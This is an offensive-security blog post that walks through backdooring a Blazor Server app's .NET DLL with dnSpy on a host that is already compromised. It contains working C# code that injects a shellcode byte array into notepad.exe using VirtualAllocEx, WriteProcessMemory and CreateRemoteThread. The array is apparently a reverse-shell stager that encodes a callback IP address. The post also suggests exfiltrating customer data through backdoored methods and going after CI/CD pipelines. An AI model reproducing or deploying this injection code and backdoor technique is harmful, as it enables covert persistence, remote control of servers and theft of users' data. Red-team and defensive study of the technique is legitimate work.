Backdoor .NET assemblies with… dnSpy 🤔

Placing backdoors in legitimate applications is a good way to achieve persistence, data exfiltration, and if circumstances allow, privilege escalation. Backdooring .NET assemblies is surprisingly easy using an editor such as dnSpy. This post will run through a simplistic scenario where we backdoor a DLL used by a Blazor Server App. I thought this was an interesting idea as it would provide a means of triggering from the Internet (assuming the app is public facing).

A common architecture pattern is to implement your services as external libraries and dependency inject them into the app or pages as required. In this example, I have a simple MessageService. The IMessageService interface has a single method called GetMessage; the implementation for which just returns “This is a message”.

The index page then has a button which when clicked, displays that message on the page.

This is rather contrived but in reality these services can do anything, such as fetching data from an API or making a database call.

When this solution is published (with default configuration), every .NET assembly referenced by the app is dropped into the publish directory.

> dotnet publish -c Release -r win-x64

> ls [...]\win-x64\publish
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----          04/10/2021    11:06                wwwroot
-a---          02/12/2020    05:30          12240 api-ms-win-core-console-l1-1-0.dll
-a---          02/12/2020    05:30          12256 api-ms-win-core-console-l1-2-0.dll
-a---          02/12/2020    05:30          11736 api-ms-win-core-datetime-l1-1-0.dll
-a---          02/12/2020    05:30          11728 api-ms-win-core-debug-l1-1-0.dll
-a---          02/12/2020    05:30          11728 api-ms-win-core-errorhandling-l1-1-0.dll
-a---          01/09/2021    18:47          17008 System.Xml.XmlSerializer.dll
-a---          01/09/2021    18:47          14952 System.Xml.XPath.dll
-a---          01/09/2021    19:03          17008 System.Xml.XPath.XDocument.dll
-a---          02/12/2020    05:31        1035728 ucrtbase.dll
-a---          04/10/2021    11:06            534 web.config
-a---          01/09/2021    18:47          15984 WindowsBase.dll

Assuming we’ve already compromised this host, we can download these DLLs (i.e. MessageLibrary.dll) to our own machine and open them with dnSpy. This will decompile the DLL back into its original source (or close enough to it).

Right-click on the decompiled source and select Edit Method.

We can now insert arbitrary C# into this method, but we are limited as to the available classes and methods. We can only use those that are already in use by the library or the core runtime.

The runtime is actually quite large and contains a lot of useful methods, including System.Reflection, File.ReadAllBytes, and File.WriteAllBytes etc. Others such as the WebClient class, HttpClient class and Process class are not, because they’re implemented in System.Net.dll, System.Net.Http.dll and System.Diagnostics.Process.dll respectively – all of which are not referenced by the MessageLibrary.

System.Runtime.InteropServices is available, which means we can insert P/Invoke code.

using System;
using System.Runtime.InteropServices;

namespace MessageLibrary
	// Token: 0x02000003 RID: 3
	public partial class MessageService : IMessageService
		[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
		static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

		// Token: 0x06000002 RID: 2
		public string GetMessage()
			MessageBox(IntPtr.Zero, "Hello from GetMessage()", "Test", 0);
			return "This is a message";

Once the modifications are ready, click the Compile button. Then File > Save All > OK to write the changes.

Now replace this new DLL for the legitimate one. A potential downside is that the application has to be stopped before the file can be overwritten (unless you have some trick to avoid that).

Clicking the button in the UI now pops a message box.

From here, getting a shell via P/Invoke is trivial.

using System;
using System.Runtime.InteropServices;

namespace MessageLibrary
	// Token: 0x02000003 RID: 3
	public partial class MessageService : IMessageService
		private static byte[] _buf = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0x50, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x48, 0x76, 0x46, 0x59, 0x00, 0xa8, 0x92, 0x1d, 0xac, 0x10, 0xaf, 0xa8, 0xb7, 0x96, 0xa2, 0x57, 0xb0, 0x45, 0xb7, 0x70, 0xdf, 0xb1, 0x12, 0xf4, 0xc6, 0xde, 0x7f, 0x98, 0xb9, 0xf9, 0x97, 0x3d, 0xbc, 0x7f, 0x09, 0x69, 0xcc, 0xbc, 0x84, 0x55, 0x1a, 0x1a, 0x67, 0x7a, 0xa1, 0x10, 0x0b, 0x23, 0xca, 0x25, 0x48, 0x9b, 0xfd, 0xc8, 0x49, 0xda, 0x2b, 0xeb, 0x1a, 0xfe, 0xa5, 0xfe, 0x1b, 0xf0, 0xc9, 0x54, 0x72, 0x21, 0xdd, 0x85, 0xb1, 0x61, 0x79, 0x66, 0x6e, 0x77, 0x67, 0x91, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x79, 0x69, 0x65, 0x39, 0x29, 0x0d, 0x0a, 0x00, 0x26, 0x00, 0x73, 0xaa, 0x59, 0x0b, 0xe8, 0xf7, 0xbb, 0x83, 0x0d, 0xaf, 0x2e, 0x64, 0x36, 0x7c, 0x9c, 0x4f, 0xe0, 0xe6, 0x2e, 0x36, 0x7a, 0x71, 0x4f, 0x69, 0x66, 0xb9, 0x8e, 0xd2, 0xee, 0xd8, 0x5e, 0x8c, 0x49, 0x11, 0x49, 0x1b, 0x2e, 0x5d, 0xab, 0xf8, 0xb5, 0x7b, 0x92, 0xc8, 0x77, 0xaf, 0x96, 0x20, 0xbb, 0x91, 0x32, 0xb6, 0xda, 0x06, 0xbd, 0xd3, 0x32, 0x64, 0xbd, 0xbf, 0x67, 0xa1, 0xba, 0xe8, 0x07, 0x2d, 0xac, 0x4d, 0x3e, 0x94, 0xfc, 0x91, 0x4b, 0xb7, 0xd2, 0xcb, 0xeb, 0xe8, 0xbc, 0xbd, 0x68, 0x65, 0x8d, 0xef, 0x3e, 0xc3, 0x80, 0xbe, 0xad, 0x5e, 0xe5, 0x54, 0x69, 0x22, 0x5f, 0x9c, 0xb9, 0xb4, 0x51, 0x1c, 0xfe, 0x69, 0x6a, 0xa5, 0xf8, 0xef, 0x89, 0xc1, 0x0a, 0x4d, 0x9c, 0x21, 0x43, 0x12, 0x2d, 0xa4, 0xbe, 0xa9, 0xb4, 0xbf, 0xf8, 0x2d, 0x56, 0xb2, 0x15, 0x8d, 0xb6, 0xf9, 0x39, 0x39, 0x71, 0x41, 0xc6, 0x36, 0x72, 0xe5, 0x5b, 0x3d, 0xc7, 0x78, 0x08, 0xe3, 0xad, 0xbe, 0xd4, 0x58, 0x3b, 0x60, 0x9c, 0x9b, 0xe9, 0xe5, 0x81, 0x17, 0xf0, 0x9a, 0x25, 0xc0, 0xe0, 0x0d, 0xc1, 0xd2, 0x1e, 0x41, 0x11, 0x4d, 0x45, 0xbc, 0x98, 0x20, 0xb9, 0x5e, 0x1f, 0x56, 0xe2, 0x2b, 0xa2, 0x8e, 0x68, 0x2e, 0x8f, 0xac, 0x7e, 0x7a, 0xdf, 0xba, 0x76, 0xe6, 0x57, 0xce, 0x7e, 0x43, 0x11, 0xb6, 0x80, 0xac, 0x87, 0xf4, 0x99, 0x3b, 0x0b, 0x8e, 0x36, 0x18, 0xa7, 0x18, 0xb3, 0x2a, 0xaa, 0x9c, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x31, 0x37, 0x32, 0x2e, 0x32, 0x35, 0x2e, 0x38, 0x35, 0x2e, 0x35, 0x31, 0x00, 0x67, 0xed, 0x07, 0xd3 };

		// Token: 0x06000002 RID: 2 RVA: 0x00002050 File Offset: 0x00000250
		public string GetMessage()
			var si = new STARTUPINFO();
			si.cb = Marshal.SizeOf(si);

			var sa = new SECURITY_ATTRIBUTES();
			sa.nLength = Marshal.SizeOf(sa);

			var ta = new SECURITY_ATTRIBUTES();
			ta.nLength = Marshal.SizeOf(ta);

			var pi = new PROCESS_INFORMATION();

			CreateProcess(null, "notepad.exe", ref sa, ref ta, false, 0, IntPtr.Zero, "C:\\Windows\\System32", ref si, out pi);

			var alloc = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (IntPtr)_buf.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadWrite);

			WriteProcessMemory(pi.hProcess, alloc, _buf, _buf.Length, out var written);
			CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out var threadId);

			return "This is a message";

		private struct SECURITY_ATTRIBUTES
			public int nLength;
			public IntPtr lpSecurityDescriptor;
			public int bInheritHandle;

		private struct PROCESS_INFORMATION
		   public IntPtr hProcess;
		   public IntPtr hThread;
		   public int dwProcessId;
		   public int dwThreadId;

		[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
		private struct STARTUPINFO
			 public Int32 cb;
			 public string lpReserved;
			 public string lpDesktop;
			 public string lpTitle;
			 public Int32 dwX;
			 public Int32 dwY;
			 public Int32 dwXSize;
			 public Int32 dwYSize;
			 public Int32 dwXCountChars;
			 public Int32 dwYCountChars;
			 public Int32 dwFillAttribute;
			 public Int32 dwFlags;
			 public Int16 wShowWindow;
			 public Int16 cbReserved2;
			 public IntPtr lpReserved2;
			 public IntPtr hStdInput;
			 public IntPtr hStdOutput;
			 public IntPtr hStdError;

		[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
		private static extern bool CreateProcess(
		   string lpApplicationName,
		   string lpCommandLine,
		   ref SECURITY_ATTRIBUTES lpProcessAttributes,
		   ref SECURITY_ATTRIBUTES lpThreadAttributes,
		   bool bInheritHandles,
		   uint dwCreationFlags,
		   IntPtr lpEnvironment,
		   string lpCurrentDirectory,
		   [In] ref STARTUPINFO lpStartupInfo,
		   out PROCESS_INFORMATION lpProcessInformation);

		[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
		private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
		   IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

		private static extern bool WriteProcessMemory(
			 IntPtr hProcess,
			 IntPtr lpBaseAddress,
			 byte[] lpBuffer,
			 Int32 nSize,
			 out IntPtr lpNumberOfBytesWritten

		private static extern IntPtr CreateRemoteThread(IntPtr hProcess,
		   IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
		   IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

		private enum AllocationType
			 Commit = 0x1000,
			 Reserve = 0x2000,
			 Decommit = 0x4000,
			 Release = 0x8000,
			 Reset = 0x80000,
			 Physical = 0x400000,
			 TopDown = 0x100000,
			 WriteWatch = 0x200000,
			 LargePages = 0x20000000

		private enum MemoryProtection
			 Execute = 0x10,
			 ExecuteRead = 0x20,
			 ExecuteReadWrite = 0x40,
			 ExecuteWriteCopy = 0x80,
			 NoAccess = 0x01,
			 ReadOnly = 0x02,
			 ReadWrite = 0x04,
			 WriteCopy = 0x08,
			 GuardModifierflag = 0x100,
			 NoCacheModifierflag = 0x200,
			 WriteCombineModifierflag = 0x400

It’s nice to get shells but in reality it would be far more interesting to insert backdoors purely for data exfil. For instance, if this app handled customer information, backdoor the relevant methods and have that customer data sent to you. Who needs shells…

An obvious downside to this technique is that your backdoors will be removed if new a version of the DLL is pushed out. For something more persistent, going after CI/CD pipelines can be pretty devastating.

Related posts

Latest posts